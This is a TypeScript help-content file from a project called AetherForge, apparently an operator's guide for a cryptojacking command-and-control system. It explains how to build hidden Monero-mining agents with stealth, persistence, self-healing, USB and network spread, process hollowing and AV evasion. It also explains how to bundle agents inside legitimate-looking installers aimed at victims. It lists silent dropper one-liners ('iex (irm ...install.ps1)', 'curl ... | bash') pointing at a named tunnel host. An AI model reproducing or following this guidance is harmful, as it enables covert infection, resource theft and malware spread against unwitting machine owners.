Files
AetherForge/server/web/src/help/cheatSheetContent.ts
AetherForge ea6f54ad03 Expand test coverage across server, agent, and web; fix bugs found during audit.
Adds hundreds of unit/integration/e2e tests, fixes WS bcrypt auth, config merge, fleet analytics, agent schedule/log tail, and documents stale PROBLEMS items. Updates PROBLEMS.md, README, and test scripts; ignores local spread-kits and coverage dirs.
2026-05-31 01:13:58 -07:00

459 lines
23 KiB
TypeScript
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
/** Structured content for the Field Guide page — updated to match current AetherForge feature set. */
export interface CheatStep {
id: string;
title: string;
subtitle: string;
icon: string;
body: string;
route?: string;
routeLabel?: string;
tips?: string[];
code?: string; // inline example command / snippet
}
export interface CheatSection {
id: string;
title: string;
description: string;
steps?: CheatStep[];
cards?: { title: string; body: string; accent?: string }[];
}
// ─── Main pipeline ────────────────────────────────────────────────────────────
export const PIPELINE_STEPS: CheatStep[] = [
{
id: 'calibrate',
title: 'Calibrate',
subtitle: 'One-time server setup',
icon: '⚙',
body: 'Set the listen port, data folder, fleet alert thresholds, default pool/wallet hints for new Forge forms, and global server limits. Changes here never touch already-forged agents — they are baked at Forge time.',
route: '/settings',
routeLabel: 'Open Calibrate',
tips: [
'Port default is 8080 — change if conflicting',
'Leave Public URL blank when behind Cloudflare (server binds 0.0.0.0:PORT, CF handles external)',
'Set a default wallet address here so every new Forge form pre-fills it',
'Build retention: how many days old builds stay on disk before auto-purge',
],
},
{
id: 'forge',
title: 'Forge',
subtitle: 'Build a worker binary',
icon: '⚒',
body: 'Every setting is compiled directly into the agent .exe — nothing is fetched at runtime. Fill in your C2 URL (e.g. your Cloudflare tunnel), wallet, pool, stealth mode, persistence, and hit FORGE INSTALLER.',
route: '/forge',
routeLabel: 'Open Forge',
tips: [
'C2 URL example: https://your-tunnel.trycloudflare.com (no trailing slash)',
'For LAN-only: http://192.168.1.50:8080',
'Preflight must be all-green (✓) or yellow (!) to forge — red (✕) blocks it',
'Save a Blueprint after tuning so you can one-click re-forge the same config later',
'Fusion: wrap the agent inside a legit-looking prep.exe so it looks like your real app',
],
},
{
id: 'buildmgr',
title: 'Build Manager',
subtitle: 'Manage forged binaries',
icon: '📋',
body: 'Every build you forge is listed here with its baked settings (C2, wallet, pool, platform). Download any build, grab dropper one-liners, copy to any machine. Pin one build to make the dropper commands always serve it.',
route: '/builds',
routeLabel: 'Build Manager',
tips: [
'Pin a build → dropper one-liners always serve that exact binary',
'Unpinned: dropper serves the most-recently-forged build',
'Each card shows wallet (truncated), pool, thread count, and file size',
'Re-forge button pre-fills Forge with that build\'s exact baked settings',
'Delete removes the DB record (archive file stays on server disk)',
],
},
{
id: 'drop',
title: 'Drop',
subtitle: 'One-liner remote install',
icon: '📡',
body: 'Send a single command to any PC and it silently downloads + runs the pinned build. The dropper auto-detects OS from User-Agent. Terminal closes automatically after launch.',
tips: [
'Windows (PowerShell): iex (irm \'https://your-tunnel.trycloudflare.com/install.ps1\')',
'Linux/Mac (bash): curl -sL https://your-tunnel.trycloudflare.com/install.sh | bash',
'Direct download: https://your-tunnel.trycloudflare.com/get?os=windows',
'Endpoints /get, /install.sh, /install.ps1 are unauthenticated — URL knowledge is the gate',
'Pin the correct build in Build Manager before sending the one-liner',
],
code: `iex (irm 'https://YOUR-TUNNEL.trycloudflare.com/install.ps1')`,
},
{
id: 'connect',
title: 'Connect',
subtitle: 'Agent phones home',
icon: '🔗',
body: 'After running, the worker embeds itself, sets up persistence (registry/task scheduler/service depending on Forge settings), then WebSocket-connects to the C2 URL baked into it. It appears in Fleet Roster within seconds.',
route: '/agents',
routeLabel: 'Fleet Roster',
tips: [
'Status dot: green = online now, grey = last seen X ago',
'Remote action buttons are disabled when the agent is offline — by design',
'Agent logs: use Fetch Log (get_log) in Remote Control, or AI upload_log tool reports — no separate log-ingest API',
'If agent never appears: check C2 URL is reachable from the target machine',
'Cloudflare tunnel on a different machine is fine — agent connects to the tunnel URL',
'Worker name you set in Forge shows as the agent name in the roster',
],
},
{
id: 'mine',
title: 'Mine',
subtitle: 'Stratum → pool → shares',
icon: '⛏',
body: 'The C2 server maintains a Stratum connection to each unique pool+wallet combination that has been forged. Jobs are broadcast to matching agents over WebSocket. Accepted/rejected shares track against the pool directly.',
route: '/dashboard',
routeLabel: 'Command Deck',
tips: [
'Command Deck shows total fleet hashrate as a live wave chart',
'Pool status panel shows each pool\'s Stratum connection health (green/yellow/red)',
'Accept rate below ~95% usually means wrong wallet or pool TLS mismatch',
'Hashrate updates every 15 seconds from each agent heartbeat',
],
},
];
// ─── Forge vs Calibrate ────────────────────────────────────────────────────────
export const FORGE_VS_CALIBRATE = {
forge: {
title: 'Forge — baked into each binary',
items: [
'C2 server URL (e.g. Cloudflare tunnel)',
'Wallet address & payment ID',
'Pool host, port, TLS on/off, pool password',
'Worker name (shows in Fleet Roster)',
'Thread count + thread mode (fixed / percent / adapt)',
'CPU/RAM usage caps & idle detection',
'Mining schedule (start/end time window)',
'Install base path + relative subfolder',
'Stealth mode (hidden process, no console)',
'Persistence (registry + scheduled task + WMI)',
'Windows Firewall allow rules',
'Self-healing (watchdog re-installs if killed)',
'USB propagation + share/WinRM spread',
'Process hollowing + display name disguise',
'Fusion (wrap inside a prep.exe or media file)',
'AI Autonomy (Ollama model, endpoint)',
'Backup C2s and backup pools',
],
},
calibrate: {
title: 'Calibrate — control server only',
items: [
'Listen port (default 8080)',
'Data directory path',
'Dashboard subtitle (cosmetic)',
'Default pool/wallet shown in new Forge forms',
'Fleet alert thresholds + Telegram/email notify',
'Max agents / max build size limits',
'Stats & build retention periods',
'WebSocket ping & pool reconnect intervals',
'Logging toggles (connections, shares, pool traffic)',
'Open control-server port in Windows Firewall',
'Build signing (Authenticode cert thumbprint)',
'Garble obfuscation default on/off',
],
},
};
// ─── Network / Cloudflare topology ────────────────────────────────────────────
export const NETWORK_GUIDE: CheatStep[] = [
{
id: 'n1',
title: 'Portable self-configuring tunnel',
subtitle: 'Bundled into LAUNCH.bat',
icon: '🚀',
body: 'LAUNCH.bat detects and auto-installs cloudflared from the bundled MSI, writes a fresh config.yml every boot (handles drive-letter changes), stages credentials to the local machine, then starts the tunnel. Fully portable — plug into any machine and the tunnel comes up automatically.',
tips: [
'One-time setup only: see cloudflare/SETUP.txt to create your tunnel and export credentials',
'After setup: drop credentials.json in the cloudflare/ folder — everything else is automatic',
'Same machine: reuses existing credentials and skips re-copy (idempotent)',
'cloudflared always connects to 127.0.0.1:8989 (localhost) — no IP detection needed',
'On exit: LAUNCH.bat kills the cloudflared process cleanly',
],
},
{
id: 'n2',
title: 'C2 server binding',
subtitle: '0.0.0.0:8989',
icon: '🖥',
body: 'AetherForge binds to all interfaces on port 8989. It does not know or care about Cloudflare — cloudflared connects to it at 127.0.0.1:8989. The server never needs to be publicly exposed directly.',
tips: [
'Leave Public URL blank in Calibrate — not needed',
'Dashboard LAN access: http://<lan-ip>:8989',
'Dashboard public access: https://killa.thetempleofdoom.com (via tunnel)',
'LAN and tunnel both work simultaneously',
],
},
{
id: 'n3',
title: 'Named tunnel — permanent hostname',
subtitle: 'killa.thetempleofdoom.com',
icon: '☁',
body: 'The tunnel is a named Cloudflare tunnel (not a quick/temporary tunnel). The subdomain killa.thetempleofdoom.com is a CNAME to your fixed tunnel ID — it never changes regardless of which machine you run from.',
tips: [
'Tunnel credentials JSON = portable "license" for the tunnel',
'Any machine with that JSON + cloudflared can run the tunnel',
'DNS CNAME: killa → <tunnel-id>.cfargotunnel.com (set once in CF DNS)',
'Tunnel ID is in the credentials.json — LAUNCH.bat parses it automatically',
],
code: `# One-time setup (run once on any machine):
cloudflared tunnel login
cloudflared tunnel create aetherforge-c2
cloudflared tunnel route dns aetherforge-c2 killa.thetempleofdoom.com
# Then copy credentials to USB:
copy %USERPROFILE%\\.cloudflared\\<tunnel-id>.json cloudflare\\credentials.json`,
},
{
id: 'n4',
title: 'Forge C2 URL',
subtitle: 'Bake the permanent hostname',
icon: '🔗',
body: 'Set Control Endpoint in Forge to your permanent Cloudflare hostname. Baked into every agent — they connect from any network, any country, through the tunnel to your C2.',
tips: [
'Control Endpoint: https://killa.thetempleofdoom.com',
'No port, no trailing slash',
'Backup C2 field: add http://192.168.x.x:8989 as LAN fallback',
'Agents try all C2s in order if one is unreachable',
],
code: `Control Endpoint: https://killa.thetempleofdoom.com
Backup C2 (optional): http://192.168.1.50:8989`,
},
{
id: 'n5',
title: 'Dropper one-liners',
subtitle: 'Permanent URLs — no more temp tunnels',
icon: '💧',
body: 'With a named tunnel and permanent hostname, your dropper one-liners never change. Pin a build in Build Manager then send one of these to any machine.',
tips: [
'The PS1 dropper is fully silent — downloads, runs agent hidden, closes terminal',
'/get?os=windows — direct binary, auto-detected OS if no ?os= param',
'Endpoints are unauthenticated — the URL is the gate',
'Dashboard requires login — dropper does not',
],
code: `# Windows (any PowerShell):
iex (irm 'https://killa.thetempleofdoom.com/install.ps1')
# Linux / macOS:
curl -sL https://killa.thetempleofdoom.com/install.sh | bash
# Direct binary:
https://killa.thetempleofdoom.com/get`,
},
];
// ─── Fusion workflow ───────────────────────────────────────────────────────────
export const FUSION_GUIDE: CheatStep[] = [
{
id: 'f1',
title: 'Configure the worker first',
subtitle: 'Forge tab — all settings',
icon: '1',
body: 'Fill in all your Forge settings (C2 URL, wallet, pool, stealth, persistence, etc.) before enabling Fusion. The same agent is just wrapped inside your prep file.',
tips: ['Stealth + persistence recommended for Fusion builds', 'Garble obfuscation helps AV evasion'],
},
{
id: 'f2',
title: 'Enable Fusion + upload prep',
subtitle: 'Toggle → upload → pick order',
icon: '2',
body: 'Toggle Fusion on, upload your prep.exe (the legit-looking app — installer, game launcher, PDF reader, etc.). Pick run order: Parallel (both launch), Prep First (prep runs, then agent), or Worker First.',
tips: [
'Prep can be any Windows .exe — it keeps its icon, version strings, file description',
'Parallel = no delay for the victim (best UX)',
'The output file is named after your prep.exe',
],
},
{
id: 'f3',
title: 'Forge → fused output',
subtitle: 'One file, both payloads',
icon: '3',
body: 'The output is a single .exe that looks exactly like your prep app. When run: prep app launches visibly, agent installs silently in background. Uninstall script is generated alongside.',
tips: [
'File size = prep + agent overhead',
'Signed prep.exe transfers its signature to the output (if signing enabled)',
'Fusion export folder in Build Manager shows all deliverables',
],
code: `Result: prep_app_name.exe (contains hidden agent)
uninstall-worker-name.ps1`,
},
{
id: 'f4',
title: 'Media Fusion (batch)',
subtitle: 'Multiple titles at once',
icon: '4',
body: 'Upload multiple prep files — each gets its own fused output with the same embedded agent. Great for generating a library of different-looking "installers" that all call home to the same C2.',
tips: [
'Each output has a unique name matching its prep.exe',
'All connect to the same C2 — manage via Build Manager',
'Download individual files or as a ZIP bundle',
],
},
];
// ─── AI Autonomy ───────────────────────────────────────────────────────────────
export const AI_GUIDE: CheatStep[] = [
{
id: 'a1',
title: 'Install Ollama',
subtitle: 'On the C2 machine',
icon: '🤖',
body: 'Ollama must run on the same machine as AetherForge (or be reachable from it). It does NOT run on worker machines — the worker just asks the C2 server for decisions.',
tips: [
'Install: https://ollama.ai',
'Pull a model: ollama pull llama3.2',
'Default endpoint: http://localhost:11434',
'Test: curl http://localhost:11434/api/tags',
],
code: `ollama pull llama3.2
ollama run llama3.2`,
},
{
id: 'a2',
title: 'Enable in Forge',
subtitle: 'AI Autonomy section',
icon: '⚡',
body: 'Toggle AI Autonomy on, set the Ollama model name (e.g. llama3.2), confirm the Ollama URL. Re-forge after changing — it\'s baked into the binary. Best combined with Self-healing.',
tips: [
'Model name must match exactly what Ollama has pulled',
'Larger models (llama3.1:70b) reason better but are slower',
'Self-healing + AI = agent repairs itself AND adapts behavior',
],
},
{
id: 'a3',
title: 'Agent autonomy loop',
subtitle: 'Every ~60 seconds',
icon: '🔄',
body: 'Forged worker periodically calls C2 /agent/decide → C2 sends context to Ollama → Ollama returns tool calls → agent executes (adjust threads, self-heal, check persistence, adapt to hardware). All logged to /agent/report.',
tips: [
'AI activity visible on Command Deck → AI Activity section',
'Adapt To Hardware: agent auto-tunes thread count based on CPU load',
'If Ollama is down, agent falls back to static config — nothing breaks',
],
},
];
// ─── Troubleshooting ───────────────────────────────────────────────────────────
export const TROUBLESHOOTING = [
{
problem: 'Agent never appears in Fleet Roster',
fix: 'The C2 URL baked into the agent must be reachable from the target machine. If using Cloudflare tunnel: tunnel must be running on its machine and pointing at your C2 LAN IP. Test: open https://your-tunnel.trycloudflare.com in a browser on the target machine — you should see the dashboard login.',
},
{
problem: 'Forge blocked — server_url error',
fix: 'Do NOT use localhost or 127.0.0.1 as the C2 URL (worker cannot reach those). Use your LAN IP (192.168.x.x:PORT) or your Cloudflare tunnel URL. The port appends automatically for LAN IPs — use the tunnel URL to avoid that.',
},
{
problem: '0 hashrate / shares never appear',
fix: 'Pool must be reachable from the C2 server machine (not the agent). Check Forge settings: pool host, port, TLS match your pool\'s docs. Example for SupportXMR: pool.supportxmr.com:443 with TLS on. Try telnet pool.supportxmr.com 443 from your C2 machine.',
},
{
problem: 'Shares all rejected',
fix: 'Wallet address is invalid or wrong for the pool. Monero wallet addresses are 90106 chars starting with 4 or 8. Some pools require exact format — check your pool dashboard. Accept rate updates live once real shares come in.',
},
{
problem: 'Preflight ✕ blocking forge',
fix: 'Read the exact error — common ones: no wallet address, localhost C2 URL, Fusion toggled without prep.exe uploaded, AI enabled without Ollama URL, conflicting thread/CPU settings. Fix each red item before forging.',
},
{
problem: 'Agent installs but goes offline immediately',
fix: 'Self-healing + persistence are key. If the process is killed and those are off, agent exits permanently. Re-forge with Persistence (registry + scheduled task) and Self-healing on. Also check AV/Defender — add Firewall Exclusion in Forge.',
},
{
problem: 'Can\'t remove the miner',
fix: 'Run uninstall-workername.ps1 as Administrator in PowerShell. It removes registry keys, scheduled tasks, WMI triggers, and the installed binary. If that fails: Task Manager → End the process name you set in Forge, then delete manually from the install path.',
},
{
problem: 'PS1 dropper does nothing / errors',
fix: 'Open PowerShell as Admin. Run: Set-ExecutionPolicy Bypass -Scope Process then retry iex (irm \'...\'. Also ensure your Cloudflare tunnel is running and the pinned build exists in Build Manager.',
},
{
problem: 'Forge hangs / Kill Build button',
fix: 'Go compiler can hang if garble obfuscation is on and GOPATH has stale cache. Click "Kill Build", disable garble temporarily, forge again. Also check agent source is present — LAUNCH.bat installs it automatically.',
},
{
problem: 'AI not making any decisions',
fix: 'Check: 1) AI Autonomy was enabled before this forge (it\'s baked in), 2) Ollama is running on the C2 machine (curl http://localhost:11434/api/tags should return JSON), 3) model name in Forge matches pulled model exactly. Server logs show /agent/decide calls.',
},
{
problem: 'Dashboard shows wrong hashrate',
fix: 'Hashrate is reported by agents every 15s. If an agent has been offline and came back, wait one update cycle. The 15m hashrate smooths over short gaps. Fleet total = sum of all online agents.',
},
{
problem: 'Build Manager shows no builds',
fix: 'Builds are stored in the data/builds folder on the C2 server. If running from USB and data dir is relative — check LAUNCH.bat sets the data dir to a persistent location, not a temp folder.',
},
];
// ─── Roadmap ───────────────────────────────────────────────────────────────────
export const ROADMAP_FEATURES = [
// Shipped
{ priority: 'high', title: 'Fleet alerts (live)', desc: 'Calibrate thresholds → dashboard banners + Telegram/email.' },
{ priority: 'high', title: 'Pool status panel', desc: 'Per-forged-pool Stratum health live on Command Deck.' },
{ priority: 'high', title: 'AI Autonomy (Ollama)', desc: 'Decide loop with tool calls, self-heal, adapt-to-hardware.' },
{ priority: 'high', title: 'Remote agent actions', desc: 'Pause, restart, stop, uninstall, log tail (get_log) from dashboard when agent is online.' },
{ priority: 'high', title: 'Earnings estimator', desc: 'Fleet hashrate → estimated XMR/day + live price.' },
{ priority: 'high', title: 'Build Manager full page', desc: 'All builds with settings, downloads, dropper one-liners, QR, pin to dropper.' },
{ priority: 'high', title: 'Dropper endpoints', desc: '/get /install.ps1 /install.sh — one-liner remote deploy, auto-OS detect.' },
{ priority: 'high', title: 'Dropper pin', desc: 'Pin any build as active dropper target from Build Manager.' },
{ priority: 'high', title: 'Dashboard auth', desc: 'bcrypt user/password, per-session cache, rotate fleet secret.' },
{ priority: 'high', title: 'Fusion (media/prep wrap)', desc: 'Wrap agent inside any .exe, batch mode for multiple titles.' },
{ priority: 'high', title: 'Blueprints', desc: 'Save/load named Forge configs for quick re-forge.' },
{ priority: 'high', title: 'USB Spread + Share Drop', desc: 'Auto-copy to USB drives, WinRM/SMB network spread.' },
{ priority: 'high', title: 'Sacred geometry UI', desc: 'Animated ambient Flower of Life + flame logo throughout.' },
{ priority: 'medium', title: 'LAN topology map', desc: 'Visual agent map by IP/subnet with fleet tags.' },
{ priority: 'medium', title: 'PWA / mobile deck', desc: 'Phone-friendly Command Deck layout.' },
{ priority: 'low', title: 'Multi-wallet pools', desc: 'Round-robin wallet rotation per agent.' },
{ priority: 'low', title: 'Agent mesh P2P', desc: 'Agents relay commands peer-to-peer if C2 unreachable.' },
];
// ─── Section registry (used by GuidePage) ─────────────────────────────────────
export const CHEAT_SECTIONS: CheatSection[] = [
{
id: 'pipeline',
title: 'End-to-end pipeline',
description: 'How data flows from your control PC to the pool — six stages from first boot to live hashrate.',
steps: PIPELINE_STEPS,
},
{
id: 'network',
title: 'Network topology — Cloudflare tunnel setup',
description: 'AetherForge binds to 0.0.0.0:PORT. Cloudflare Tunnel runs on a separate machine and makes it reachable from anywhere — no port forwarding, no static IP.',
steps: NETWORK_GUIDE,
},
{
id: 'fusion',
title: 'Fusion workflow',
description: 'Bundle the smart agent inside any .exe so it looks like your legitimate prep app. One file, two payloads.',
steps: FUSION_GUIDE,
},
{
id: 'ai',
title: 'AI Autonomy workflow',
description: 'Agents make adaptive decisions via Ollama running on the C2 machine — self-healing, thread tuning, persistence checks.',
steps: AI_GUIDE,
},
{
id: 'troubleshoot',
title: 'Troubleshooting',
description: 'Common symptoms and their exact fixes.',
cards: TROUBLESHOOTING.map((t) => ({ title: t.problem, body: t.fix, accent: 'amber' })),
},
];